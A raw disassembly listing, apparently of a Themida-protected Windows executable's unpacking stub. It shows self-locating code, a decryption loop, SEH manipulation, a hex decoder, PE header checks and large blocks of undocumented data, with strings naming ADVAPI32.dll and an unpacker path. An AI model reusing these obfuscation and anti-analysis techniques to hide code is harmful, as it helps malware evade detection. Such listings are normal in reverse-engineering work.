XREF: start:loc_4D3086o jmp loc_53FC71 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- align 10h dd 3 dup(0) dd 57F6B900h, 2 dup(0) dd 5AD88300h, 4 dup(0) dd 5A039600h, 0A1156800h, 0 dd 53DE4200h, 0 dd 5AC1EF00h, 0 dd 6A3300h, 8 dup(0) dd 0C31A7300h, 12E58254h, 5 dup(0) dd 5A5D2700h, 0 dd 4868CE00h, 5C17DCB9h, 4 dup(0) dd 0A0A00F00h, 0 dd 79781200h, 13h, 814F2E00h, 67h, 0Bh dup(0) dd 0A2800h, 0 dd 0C800h, 0Eh dup(0) dd 5AE7C800h, 6 dup(0) dd 0A08C0A00h, 5793D000h, 12FFC400h, 0 dd 8000h, 3 dup(0) dd 0A27FD800h, 796300h, 0 dd 0AE000000h, 0 dd 0A0812600h, 3CEFh, 5 dup(0) dd 100h, 8 dup(0) dd 496CB800h, 2, 0 dd 260800h, 2 dup(0) dd 0A02BDE00h, 2 dup(0) dd 55597400h, 86h, 0Ah dup(0) dd 496CB800h, 2, 0 dd 36363600h, 5D836h, 0Ch dup(0) dd 56FFF700h, 0 dd 0FE030400h, 7Fh, 2 dup(0) dd 76A2FA00h, 0AAh, 2 dup(0) dd 100h, 5 dup(0) dd 0A122D800h, 400h, 4 dup(0) dd 575FE200h, 0 dd 0A9172B00h, 0E75CB538h, 77h, 8Fh dup(0) dd 58870200h, 0A0FA5600h, 2 dup(0) dd 56D79600h, 0 dd 30400h, 7000h, 4 dup(0) dd 0A069DD00h, 5 dup(0) dd 90D2C500h, 88h, 0 dd 85E9AE00h, 0E1h, 2 dup(0) dd 575DF700h, 0Ah dup(0) dd 5BE6E600h, 8Ch, 0F6FF0900h, 72h, 0 dd 100h, 2 dup(0) dd 0DF6100h, 3 dup(0) dd 57800100h, 1CB00000h, 1FCFC00h, 576D5280h, 2 dup(0) dd 0A009F700h, 577C4A00h, 3 dup(0) dd 500h, 0 dd 9317F00h, 0CDh, 3 dup(0) dd 0FE030400h, 12FFF07Fh, 5 dup(0) dd 14FFB00h, 0A4h, 3 dup(0) dd offset dword_564300 dd 0 dd 57002300h, 53F66900h, 4 dup(0) dd 0A06CB000h, 2 dup(0) dd 3D9400h, 3 dup(0) dd 0E4DE9800h, 564301h, 9 dup(0) dd 0A53B00h, 0E78B8200h, 59225A77h, 8 dup(0) dd 0A123E800h, 3 dup(0) dd 0D6F0CD00h, 19h, 0A6205100h, 0AEB1CAFFh, 2 dup(0) dd 3900h, 53D47500h, 5973FE00h, 2 dup(0) dd 8A000000h, 2, 15h dup(0) dd 0D6F1E500h, 5AD59D0Fh, 0C000h, 0 dd 9C0BB900h, 64h, 2 dup(0) dd 0B8146D00h, 72h, 2 dup(0) dd 0A5117300h, 7C7Fh, 3 dup(0) dd 53F66900h, 6 dup(0) dd 8A1CA800h, 0A1156802h, 0A09C3700h, 0F6CE8100h, 32h dd 0 dd 100h, 5 dup(0) dd 79781200h, 13h, 0 dd 40000000h, 0A2800h, 3 dup(0) dd 57079000h, 6 dup(0) dd 5AD66100h, 4 dup(0) dd 5829C400h, 9000000h, 5B27E500h, 3 dup(0) dd 96200h, 0 dd 0BFECF800h, 53F66927h, 0 dd 0E7A09900h, 77h, 8 dup(0) dd 6A3300h, 0 dd 74B6F600h, 7Bh, 2 dup(0) dd 0FE030400h, 7Fh, 7 dup(0) dd 0A2800h, 0 dd 12FF5400h, 0Ah dup(0) dd 0B8D68300h, 14h, 0 dd 0F7EBB300h, 77h, 0 dd 0E7519D00h, 0FFh, 5862CB00h, 0 dd 0A0BAFF00h, 2 dup(0) dd 0FE030400h, 7Fh, 0 dd 5AC2A700h, 0Ah dup(0) dd 0FE030400h, 7Fh, 0 dd 0A7E79B00h, 0FFh, 2 dup(0) dd 0FFFFFF00h, 0FFh, 3 dup(0) dd 0AC0E6700h, 0FFh, 0 dd 5F5FF100h, 0F5180BFFh, 0D5FD5577h, 5967C4F9h, 2 dup(0) dd 1FCFC00h, 80h, 0A0A03700h, 2 dup(0) dd 260600h, 5 dup(0) dd 360600h, 100h, 7 dup(0) dd 0DF6100h, 8 dup(0) dd 387900h, 2 dup(0) dd 53C6E100h, 0 dd offset dword_5BA000 dd 0B7000000h, 8 dup(0) dd 7A8A2200h, 80h, 2 dup(0) dd 7800h, 3 dup(0) dd 0A12B1F00h, 7Dh, 9 dup(0) dd 0FB36A400h, 0FAh, 3 dup(0) dd 0CF35BF00h, 13h, 8 dup(0) dd 5A000000h, 2, 2 dup(0) dd 8AD46300h, 0E600001Bh, 77h, 5 dup(0) dd 0C4BE500h, 0FF9854DEh, 0FFh, 2 dup(0) dd 0FE030400h, 7Fh, 5 dup(0) dd 3B392000h, 0C6C9FF15h, 5Eh, 3 dup(0) dd 0FF8000h, 5 dup(0) dd 0A7D63D00h, 0FFh, 3 dup(0) dd 0FE038E00h, 7Fh, 2 dup(0) dd 0E77CB700h, 5B37E577h, 0 dd 576D5200h, 7 dup(0) dd 0FE030400h, 7Fh, 0 dd 0F07700h, 0 dd 9FB16800h, 0F59F2E00h, 0ACh, 6 dup(0) dd 1FCFC00h, 80h, 1F3700h, 8 dup(0) dd 0DB9F6F00h, 30h, 2 dup(0) dd 9F791500h, 0FEh, 16h dup(0) dd 0EFFF6200h, 74h, 6 dup(0) dd 0E7AC5E00h, 77h, 9 dup(0) dd 49810000h, 2, 0A05E2E00h, 2 dup(0) dd 5888F600h, 0 dd 7400h, 2 dup(0) dd 8CCB7100h, 47h, 5B47DB00h, 2 dup(0) dd 0AC00h, 0FF98BC00h, 1BB3B3FFh, 30h, 7 dup(0) dd 0F5000000h, 77h, 5 dup(0) dd 79781200h, 13h, 3 dup(0) dd 570D0700h, 7 dup(0) dd 0FDDFF600h, 37h, 1AD600h, 0A1326800h, 5 dup(0) dd 2156800h, 4 dup(0) dd 0FF98BC00h, 84FFh, 0 dd 65685400h, 6164696Dh, 1Ch dup(0) dd 9F003E00h, 8 dup(0) dd 0E75CB500h, 77h, 0FDA60F00h, 0FFh, 3 dup(0) dd 5B000000h, 2, 0 dd 34AF000h, 0A800h, 0 dd 4001E800h, 0 dd 79781200h, 5C18A213h, 597F5D00h, 32h, 2 dup(0) dd 0D000000h, 5 dup(0) dd 0A7E48B00h, 0C35A50FFh, 28h, 0E7BF5000h, 0F1h, 19h dup(0) dd 5A5D2700h, 4 dup(0) dd 53C6E100h, 576D6400h, 2 dup(0) dd 0FE030400h, 7Fh, 0C530DF00h, 0A9h, 0A5B22D00h, 0E7C486FFh dd 77h, 5 dup(0) dd 575FE200h, 2 dup(0) dd 0A070C400h, 2 dup(0) dd 0ECAAEC00h, 0D6h, 2Bh dup(0) dd 575FE200h, 2F39C800h, 0A29BAC34h, 8 dup(0) dd 100h, 0E82FE800h, 77h, 7 dup(0) dd 0E6003E00h, 77h, 5 dup(0) dd 41000C00h, 2, 0 dd 6A3300h, 4 dup(0) dd 51356A00h, 40h, 0 dd 0A0A00F00h, 2 dup(0) dd 96000h, 0Dh dup(0) dd 0A0949900h, 0 dd 59530000h, 3Eh, 3 dup(0) dd 576B4A00h, 0FE030400h, 0A0915B7Fh, 2 dup(0) dd 12FF6400h, 687000h, 4 dup(0) dd 0E7A83700h, 77h, 1FCFC00h, 0DD189A80h, 77h, 8 dup(0) dd 53F75100h, 0 dd 0F6CE8100h, 5BE7EA32h, 0 dd 6A3300h, 9000h, 3 dup(0) dd 5F962300h, 0FFh, 0 dd 0A53B00h, 0A0314500h, 0 dd 18AE6300h, 35B00h, 0B7h dup(0) dd 5A000000h, 2, 7 dup(0) dd 5AEA6400h, 0A1156400h, 0FC6FA000h, 0A2731677h, 4 dup(0) dd 0A48D5300h, 5 dup(0) dd 0FFECFB00h, 27h, 0Eh dup(0) dd 0A76A1D00h, 0FFh, 576D5200h, 0FE030400h, 7Fh, 0E6D70600h dd 77h, 88648700h, 32h, 5 dup(0) dd 2800h, 0F6FA8B00h, 0FEh, 0E23E7A00h, 3Ch, 4 dup(0) dd 0EBA6E900h, 77h, 0 dd 50002100h, 4 dup(0) dd 57F65B00h, 2 dup(0) dd 21BB900h, 85h, 4 dup(0) dd 0FE803400h, 0FFh, 3A000h, 5AF5B600h, 5 dup(0) dd 56794C00h, 5 dup(0) dd 0D301400h, 4 dup(0) dd 570FCA00h, 4 dup(0) dd 0CC00h, 59DD1D00h, 4 dup(0) dd 57A06800h, 4 dup(0) dd 0A141CC00h, 3 dup(0) dd 0B1AC5300h, 0F9h, 6 dup(0) dd 0FAFFB600h, 2Ch, 4 dup(0) dd 57CFFC00h, 9397B800h, 1, 4 dup(0) dd 0ED00AC00h, 0FFh, 4 dup(0) dd 57D64400h, 2 dup(0) dd 59000000h, 2, 0Fh dup(0) dd 40100000h, 56F5AF00h, 0 dd 2B935900h, 7Fh, 2 dup(0) dd 0A8838800h, 0FFh, 5DA900h, 6 dup(0) dd 53C71D00h, 2 dup(0) dd 0DD000000h, 5774E877h, 0C8h, 3 dup(0) dd 6A3300h, 3387C200h, 22h, 7 dup(0) dd 12FFA400h, 2 dup(0) dd 0E7C48600h, 77h, 0 dd 37D77200h, 9F0489h, 0 dd 0FE030400h, 5878D27Fh, 2 dup(0) dd 0A8FFDD00h, 0FFh, 0Dh dup(0) dd 9800h, 0 dd 0C530DF00h, 0A9h, 2 dup(0) dd 577C7800h, 0Ah dup(0) dd 0FE030400h, 7Fh, 0 dd 79781200h, 13h, 1857C900h, 88h, 0FDF00000h, 0DD5ECC7Fh dd 77h, 2 dup(0) dd 0D0FFB000h, 1, 0FFA5BC00h, 0FFh, 0 dd 57F65B00h, 9 dup(0) dd 0A0939300h, 4 dup(0) dd 0E0F16000h, 0D6h, 0Ah dup(0) dd 33333300h, 2 dup(33333333h), 0F6CE8133h, 32h, 2 dup(0) dd 6B12000h, 0F6h, 0 dd 0FE030400h, 7Fh, 5A014B00h, 0AF000000h, 3Ah, 28h dup(0) dd 0E6000000h, 77h, 0 dd 8800h, 4 dup(0) dd 12FFE000h, 2 dup(0) dd 0FFA46000h, 0FFh, 7C00h, 0FE70F000h, 0FFh, 6 dup(0) dd 5886FF00h, 7 dup(0) dd 6A3300h, 3 dup(0) dd 0E7A5FD00h, 77h, 0 dd 0FFFFFF00h, 6A33FFh, 4 dup(0) dd 107000h, 9 dup(0) dd 0F3D9E600h, 0FEh, 2 dup(0) dd 0F91E8600h, 0E0h, 2 dup(0) dd 418FC800h, 4 dup(0) dd 53C6E100h, 3 dup(0) dd 0FFFF1800h, 0FFh, 6 dup(0) dd 0BC8D8D00h, 23h, 5 dup(0) dd 9F000000h, 25CCB800h, 0E0h, 2 dup(0) dd 2C693B00h, 5Eh, 2 dup(0) dd 7C834D00h, 43h, 0 dd 57574B00h, 0 dd 5937E600h, 4 dup(0) dd 5402CD00h, 58674B00h, 2 dup(0) dd 100h, 4 dup(0) dd 0BD8B6000h, 0FDh, 2 dup(0) dd 0FFB55400h, 570F7AFFh, 82A3A100h, 5745136Ch, 3 dup(0) dd 53C6E100h, 3 dup(0) dd 3A0F9100h, 71h, 0FFFFFF00h, 0FFh, 3 dup(0) dd 100h, 2 dup(0) dd 100h, 7088D00h, 17FCCD0h, 5 dup(0) dd 53D3F500h, 9F180B00h, 0C2h, 53CD8100h, 8 dup(0) dd 0FE030400h, 36A31F7Fh, 9Ch, 2 dup(0) dd 0A400h, 2 dup(0) dd 0E8061800h, 77h, 5 dup(0) dd 0FE030400h, 0FE03047Fh, 5A4C6E7Fh, 14h dup(0) dd 1FCFC00h, 80h, 5 dup(0) dd 12FFA400h, 2 dup(0) dd 0FE030400h, 7Fh, 11h dup(0) dd 1900h, 4 dup(0) dd 0A4A5E700h, 0F841A700h, 3Fh, 67AC00h, 199900h, 6 dup(0) dd 576D5200h, 0E800h, 2 dup(0) dd 0D4B01C00h, 0FEh, 0FFFFFF00h, 0FFh, 2 dup(0) dd 6B1EBB00h, 0FAh, 0 dd 0C9734800h, 0Fh, 0BFECF800h, 0E805D827h, 77h, 0Bh dup(0) dd 0FE030400h, 7Fh, 7 dup(0) dd 0EE8D8D00h, 3Ch, 6 dup(0) dd 0FFFFFF00h, 0FFh, 0 dd 0DF6100h, 5 dup(0) dd 100h, 0 dd 57BB4300h, 3 dup(0) dd 40625200h, 2, 2 dup(0) dd 6A3300h, 0 dd 0C697F00h, 5Dh, 0A0949900h, 3 dup(0) dd 0DF005000h, 0FDh, 2 dup(0) dd 5AADAA00h, 4 dup(0) dd 56511200h, 3 dup(0) dd 0C530DF00h, 0A9h, 2 dup(0) dd 0F642E200h, 61h, 3 dup(0) dd 0C6ED2300h, 3Ah, 130000h, 5 dup(0) dd 0B7D82700h, 22h, 9 dup(0) dd 0FFA21800h, 0FFh, 3 dup(0) dd 4D100000h, 57DA9900h, 955400h, 600h, 0 dd 0A06CB000h, 5AD83E00h, 0 dd 5E840D00h, 0FFh, 5 dup(0) dd 56F5AF00h, 4 dup(0) dd 3FF56700h, 1, 0Ch dup(0) dd 5AF5B600h, 11h dup(0) dd 94BBEE00h, 52h, 6 dup(0) dd 0C91400h, 5, 56B700h, 5 dup(0) dd 0DD75A500h, 59DDD4A3h, 11h dup(0) dd 0E8216800h, 77h, 100h, 0 dd 0C95D5D00h, 63h, 0 dd 0FE030400h, 0A07Fh, 0Eh dup(0) dd 684800h, 4 dup(0) dd 0E8417E00h, 77h, 0 dd 5C3A4300h, 6E755F6Dh, 6B636170h, 7265h, 7Ch dup(0) dd 0FFA25D00h, 0FFh, 0 dd 0E7796300h, 77h, 0FFFFFF00h, 0FFh, 4 dup(0) dd 1446F000h, 5C0FB600h, 5Ch, 0 dd 0CC091600h, 29h, 2 dup(0) dd 0DF6100h, 9 dup(0) dd 0F07700h, 0Ch dup(0) dd 0F760F500h, 0BDh, 5 dup(0) dd 0DD23D700h, 902B7C77h, 0F2h, 0 dd 8C00h, 0F8074D00h, 26h, 2Ch dup(0) dd 0C565F800h, 0EAh, 0 dd 607CDC00h, 1Ah, 0 dd 29E900h, 2 dup(0) dd 0FFA00F00h, 0FFh, 0E83E6800h, 77h, 0 dd 100h, 0E78B8200h, 46DA4477h, 75B5C2h, 2 dup(0) dd 82A3A100h, 6Ch, 53F8E900h, 6 dup(0) dd 5B371B00h, 0Ah dup(0) dd 100h, 0 dd 0A6DC9A00h, 0FFh, 2 dup(0) dd 3A0400h, 0Ah dup(0) dd 88F3E400h, 0E0h, 3 dup(0) dd 0CA953B00h, 16h, 3 dup(0) dd 30140800h, 3520017h, 3 dup(0) dd 2072400h, 80h, 0FE030400h, 17Fh, 2 dup(0) dd 463DA00h, 0E8216870h, 77h, 0 dd 73655200h, 74726174h, 2E707041h, 657865h, 4 dup(0) dd 3500000h, 30400h, 0 dd 12FF5400h, 2 dup(0) dd 0D4C96A00h, 0FE030477h, 7Fh, 0 dd 41000000h, 2, 0E400h, 0 dd 0A03E3B00h, 2 dup(0) dd 12FEF800h, 8 dup(0) dd 0A08C0A00h, 0FE030400h, 7Fh, 0 dd 0FFFFFF00h, 0FFh, 2 dup(0) dd 5C3A4300h, 444E4957h, 5C53574Fh, 74737953h, 32336D65h dd 5644415Ch, 33495041h, 6C642E32h, 6Ch, 3Ah dup(0) dd 75F6500h, 0D0h, 3 dup(0) dd 0E6000100h, 77h, 5C493500h, 574A9300h, 0FFFF00h, 0A0229200h dd 2 dup(0) dd 0B564000h, 570D2100h, 3 dup(0) dd 57466300h, 5B472300h, 0 dd 0FE030400h, 0A499957Fh, 0 dd 0FE038E00h, 7Fh, 0A6C6D100h, 0FFh, 2 dup(0) dd offset dword_56B700 dd 7D100h, 0Eh dup(0) dd 9F0FE600h, 2 dup(0) dd 1C740800h, 0A6h, 5 dup(0) dd 5F643C00h, 1, 0 dd 0FE030400h, 7Fh, 5 dup(0) dd 0E793EF00h, 77h, 14h dup(0) dd 0E8216800h, 77h, 0DD59F000h, 77h, 0 dd 0FF985400h, 0F52E0FFFh, 77h, 6A3300h, 4 dup(0) dd 80FFB000h, 1, 2 dup(0) dd 516D0000h, 0FFB56222h, 596821FFh, 3 dup(0) dd 0B295ED00h, 1Dh, 3 dup(0) dd 9C00h, 5 dup(0) dd 100h, 2 dup(0) dd 0CFC76000h, 0Fh, 3 dup(0) dd 0A2B13400h, 5 dup(0) dd 0B9B77E00h, 70h, 2 dup(0) dd 5400h, 4 dup(0) dd 23B5BB00h, 28h, 3 dup(0) dd 35EFBD00h, 18h, 0 dd 200h, 0FE030400h, 7Fh, 0 dd 57D90F00h, 3 dup(0) dd 260600h, 5AAEC100h, 0 dd 5B56B700h, 6 dup(0) dd 53F75200h, 2 dup(0) dd 0C74E800h, 0E803Ch, 5F9800h, 3 dup(0) dd 0FE030400h, 7Fh, 53CD7D00h, 4 dup(0) dd 0A122D800h, 46DA4400h, 0C2h, 9 dup(0) dd 35B00h, 4 dup(0) dd 5A4DFA00h, 3 dup(0) dd 809E4500h, 0F8h, 0 dd 0FF985400h, 0B0A1FEFFh, 57CF4300h, 8 dup(0) dd 12FEF800h, 2 dup(0) dd 0CFF77D00h, 2, 3 dup(0) dd 1C3A00h, 59685A00h, 0 dd 7B11FE00h, 0FFDB80FBh, 0D4C96AFFh, 0FE030477h, 7Fh dd 0Eh dup(0) dd 40000000h, 576B3D00h, 5 dup(0) dd 0FE030400h, 7Fh, 0Ah dup(0) dd 0E2515400h, 11h, 0 dd 5B2A6800h, 4 dup(0) dd 5B177000h, 0A1156800h, 4 dup(0) dd 400h, 0 dd 0FE030400h, 7Fh, 0 dd 540AD100h, 9 dup(0) dd 51C8E800h, 6Ah, 2 dup(0) dd 0F5B92C00h, 0ACh, 9 dup(0) dd 0FE030400h, 7Fh, 0 dd 0F61600h, 0FE030400h, 7Fh, 1Bh dup(0) dd 200h, 4 dup(0) dd 9FD55400h, 576D6400h, 8 dup(0) dd 200000h, 5C18A200h, 570FA200h, 8 dup(0) dd 56D79600h, 9 dup(0) dd 91976000h, 46h, 13h dup(0) dd 712E0000h, 0E7A14461h, 0FFE51077h, 5AAB8EFFh, 9400h dd 2 dup(0) dd 0D8000000h, 32h, 5 dup(0) dd 0D4000000h, 77h, 2 dup(0) dd 6A3300h, 0Bh dup(0) dd 0A122D800h, 4 dup(0) dd 5C000000h, 2, 3 dup(0) dd 0F4727300h, 12h, 2 dup(0) dd 0A2B13400h, 0 dd 0FE030400h, 7Fh, 0 dd 208D8D00h, 21h, 5 dup(0) dd 3AC00h, 58665600h, 4 dup(0) dd 0A46D400h, 0FE9F0453h, 7Fh, 6 dup(0) dd 0FFA00F00h, 0FFh, 5 dup(0) dd 0E7A14400h, 77h, 0 dd 0E7A13F00h, 77h, 6 dup(0) dd 577C7800h, 5 dup(0) dd 0A3F07700h, 1Ch, 0A53B00h, 4 dup(0) dd 16B700h, 3 dup(0) dd 59618400h, 3 dup(0) dd 21212100h, 21h, 69h dup(0) dd 6A3300h, 7 dup(0) dd 0AC283B00h, 0FFh, 0 dd 12FEF400h, 0 dd 7CFFBC00h, 5Eh, 0 dd 0FF906800h, 0FFh, 0 dd 200h, 2 dup(0) dd 79781200h, 13h, 8 dup(0) dd 5407B700h, 2 dup(0) dd 0FF985400h, 0FFh, 0 dd 7FFFEF00h, 0EDh, 5 dup(0) dd 0F288100h, 32h, 0 dd 40000000h, 5 dup(0) dd 8DC14600h, 0FDh, 3 dup(0) dd 56D79600h, 11111100h, 58031511h, 7 dup(0) dd 58B00400h, 0 dd 96B4BB00h, 85h, 4 dup(0) dd 0F8727300h, 0E6h, 6F9800h, 0A0A00F00h, 2 dup(0) dd 6A3300h, 2 dup(0) dd 0B800h, 0C00B0000h, 18C20374h, 24448B00h, 0E8530Ch dd 5B000000h, 17C381h, 5C890000h, 44891024h, 0B85B1424h dd 0A0A037h, 448BE0FFh, 0E0FF0424h, 18h dup(0) dd 5054C100h, 56h, 0A0923400h, 3 dup(0) dd 56F5AF00h, 2 dup(0) dd 6B088F00h, 0FFh, 5 dup(0) dd 0FFC5FC00h, 0FFh, 2 dup(0) dd 669E7800h, 0C5h, 28010500h, 4DD6400Ah, 0FFh, 3 dup(0) dd 400h, 58D46200h, 4 dup(0) dd 100h, 2 dup(0) dd 0D6AD1800h, 7Eh, 59D50900h, 4 dup(0) dd 53FA4500h, 2 dup(0) dd 24242400h, 24h, 0 dd 0DF700h, 2 dup(0) dd 0A83C6C00h, 0FFh, 2 dup(0) dd 0FE030400h, 7Fh, 2 dup(0) dd 5ACB4E00h, 100h, 0EC2200h, 7 dup(0) dd 0EEE20000h, 80h, 5 dup(0) dd 0B41B4000h, 76h, 5AE1C500h, 100h, 673EBF00h, 0E9h, 0 dd 0A069DD00h, 0 dd 1FCFC00h, 80h, 2 dup(0) dd 5BB32600h, 2222225Ch, 22222222h, 59DCB922h, 3 dup(0) dd 2D72C800h, 0E9h, 12FEF800h, 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53FC71: ; CODE XREF: start:loc_53C6A8j mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 62B35D3h mov [ebp+62B015Dh], edx mov [ebp+62B09BDh], esi mov [ebp+62B0615h], eax cmp dword ptr [ebp+62B1999h], 0 jz short loc_53FCA9 mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_53FCA9: ; CODE XREF: start+6CC87j mov eax, [esp+40h+var_1C] mov [ebp+62B2A05h], eax push 45h call sub_53FD5D push 783749Ah call sub_53FDA3 push 0A894B25h call sub_53FDA3 jmp loc_53FEE7 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 45h dd 49484746h, 4D4C4B4Ah, 51504F4Eh, 55545352h, 59585756h dd 5D5C5B5Ah, 61605F5Eh, 65646362h, 69686766h, 6D6C6B6Ah dd 71706F6Eh, 75747372h, 79787776h, 7D7C7B7Ah, 81807F7Eh dd 85848382h, 89888786h, 8D8C8B8Ah, 91908F8Eh, 95949392h dd 99989796h, 9D9C9B9Ah, 0A1A09F9Eh, 0A5A4A3A2h, 0A9A8A7A6h dd 0ADACABAAh, 0B1B0AFAEh, 0B5B4B3B2h, 0B9B8B7B6h, 0BDBCBBBAh dd 0C1C0BFBEh, 0C3C2h, 2 dup(0) db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_53FD5D proc near ; CODE XREF: start+6CCA1p var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 62B36C1h mov ebx, edx mov [ebp+var_28], 0 loc_53FD79: ; CODE XREF: sub_53FD5D+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_53FD98 mov eax, [ebp+arg_0] mov [ebx+62B362Bh], eax inc [ebp+arg_0] inc ebx jmp short loc_53FD79 ; --------------------------------------------------------------------------- loc_53FD98: ; CODE XREF: sub_53FD5D+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_53FD5D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_53FDA3 proc near ; CODE XREF: start+6CCABp start+6CCB5p var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 62B370Ah lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_53FDC9: ; CODE XREF: sub_53FDA3+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_53FDC9 mov [ebp+var_84], 0 lea edi, [edx+62B362Bh] lea esi, [ebp+var_80] loc_53FDF9: ; CODE XREF: sub_53FDA3+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_53FE05: ; CODE XREF: sub_53FDA3+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_53FE05 imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_53FDF9 popa leave retn 4 sub_53FDA3 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_53FE43 ; --------------------------------------------------------------------------- loc_53FE3F: ; CODE XREF: Themida_:0053FE46j inc dword ptr [ebp-4] inc esi loc_53FE43: ; CODE XREF: Themida_:0053FE3Dj cmp byte ptr [esi], 0 jnz short loc_53FE3F mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_53FED4 ; --------------------------------------------------------------------------- loc_53FE55: ; CODE XREF: Themida_:0053FED7j mov dword ptr [ebp-8], 0 jmp short loc_53FECB ; --------------------------------------------------------------------------- loc_53FE5E: ; CODE XREF: Themida_:0053FECFj mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_53FEB8 ; --------------------------------------------------------------------------- loc_53FE6E: ; CODE XREF: Themida_:0053FEBCj shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_53FE90 cmp bl, 39h ja short loc_53FE90 sub bl, 30h jmp short loc_53FEB2 ; --------------------------------------------------------------------------- loc_53FE90: ; CODE XREF: Themida_:0053FE84j ; Themida_:0053FE89j cmp bl, 61h jb short loc_53FEA2 cmp bl, 66h ja short loc_53FEA2 sub bl, 61h add bl, 0Ah jmp short loc_53FEB2 ; --------------------------------------------------------------------------- loc_53FEA2: ; CODE XREF: Themida_:0053FE93j ; Themida_:0053FE98j cmp bl, 41h jb short loc_53FEB2 cmp bl, 46h ja short loc_53FEB2 sub bl, 41h add bl, 0Ah loc_53FEB2: ; CODE XREF: Themida_:0053FE8Ej ; Themida_:0053FEA0j ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_53FEB8: ; CODE XREF: Themida_:0053FE6Cj cmp dword ptr [ebp-0Ch], 2 jb short loc_53FE6E cmp dword ptr [ebp-10h], 0 jbe short loc_53FEC8 mov eax, [ebp-10h] stosb loc_53FEC8: ; CODE XREF: Themida_:0053FEC2j inc dword ptr [ebp-8] loc_53FECB: ; CODE XREF: Themida_:0053FE5Cj cmp dword ptr [ebp-8], 2 jb short loc_53FE5E add edx, 4 loc_53FED4: ; CODE XREF: Themida_:0053FE53j cmp edx, [ebp-4] jb loc_53FE55 mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53FEE7: ; CODE XREF: start+6CCBAj mov ecx, 7000h lea edi, [ebp+62B3850h] loc_53FEF2: ; CODE XREF: start+6CEE2j dec byte ptr [edi] inc edi dec ecx jnz short loc_53FEF2 mov eax, 48692121h mov edx, 0F00D3000h sub edx, 0F0000000h lea eax, [ebp+62B3988h] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax push 0 push esi call sub_53FF2E and [esi-3Dh], bl ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= sub_53FF2E proc near ; CODE XREF: start+6CF12p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 18h inc esi push esi retn sub_53FF2E endp ; --------------------------------------------------------------------------- dw 35E8h dd 607DAE8Eh, 0EE860h, 27FE0000h, 1DC50D3h, 0D1C4D97Eh dd 32498C27h, 5E95Fh, 91EB0000h, 61D8B31Bh, 75F08166h dd 0CB806138h, 66C22B93h, 5D80F381h, 0FFF00025h, 0CE8FFh dd 63D0000h, 52E92E43h, 0D1D78072h, 13E9E670h, 0A1000000h dd 0BFBC0B4Eh, 16BF8E74h, 7D54C957h, 7AFB315Eh, 8B5BB47Ch dd 66FF33CAh, 5A4D3881h, 0B70F0E75h, 0D0033C50h, 45503A81h dd 8740000h, 10002Dh, 0E3EB4700h, 58F64h, 83000000h, 958D04C4h dd 62B399Bh, 35FF6452h, 0 dd 258964h, 3000000h, 10002DC1h, 708B0000h, 0E68104h, 81FFFF00h dd 0FEh, 8B037680h, 0C0331C70h, 7432F883h, 3E81661Fh, 9745A4Dh dd 0EE81h, 0EB400001h, 3C7E8BEBh, 3F81FE03h, 4550h, 0E8EB4474h dd 58F64h, 83000000h, 0C36104C4h, 244C8B51h, 0B0A98110h dd 0 dd 59000010h, 51C3C033h, 10244C8Bh, 0E855h, 815D0000h dd 2B39A6EDh, 64858D06h, 89062B39h, 0B881h, 33595D00h dd 6496C3C0h, 58Fh, 0C4830000h, 10E85104h, 77000000h, 6C0FC0A9h dd 0B60ECBC2h, 0FC63F092h, 0E83205BEh, 14h, 1BFFC145h dd 68387911h, 583F0E72h, 7F98808Dh, 3AE8C79Bh, 665B5B5Bh dd 984DD381h, 60D98C66h, 806172B4h, 0BB6604E1h, 0C90A5FCDh dd 38850Fh, 0C7F80000h, 2B0A0185h, 106h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 63F7FE99h, 0B94CF075h, 0E9DBBF0Fh, 0Fh, 85C7DF8Bh, 62B0A01h dd 0 dd 89F8FA8Ah, 2B0B1D85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 0C47FFB54h, 0EB8065AFh dd 18D3800Fh, 1BDD8589h, 8E8062Bh, 40000000h, 6E95B527h dd 0B8F7EE83h, 7B48821Dh, 0F1E5805Bh, 6AF3C381h, 0B70F0000h dd 8BF633FEh, 8B663314h, 0AAEA81C7h, 0E87DB999h, 11h, 